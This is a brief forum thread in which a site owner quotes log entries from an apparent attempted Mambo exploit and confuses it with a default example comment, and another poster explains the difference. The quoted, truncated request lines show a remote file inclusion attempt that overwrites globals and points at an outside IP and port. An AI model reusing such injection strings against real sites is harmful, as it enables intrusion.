Re: Who is Donald Swain?

Well, I was hacked by “him” before I even had my site fully operational.

index.php?option=com_content&do_pdf=1&id=1…
index2.php?_REQUEST[option]=com_content&_REQUE…
ST[Itemid]=1&GLOBALS=&mosConfig_absolute_p…

ash;0209.61.187.106%208080;0

This sort of pisses me off. Who is he really?

Anton,

What are you talking about? The “Donald Swain” comment is an example include in the default install.

That log entry (probably an attempt at using a Mambo exploit against your site – which won’t work) has nothing to do with it.

Ah…interesting.

It was only after I clicked on the attempted hack that I got Swain’s comment.

Like I said, I barely had the install wrapped up and had just started looking into the admin side of things when I noticed the attempt from jesus.irb.hr

Crazy stuff!

Anyone care to delve deeper into their site?
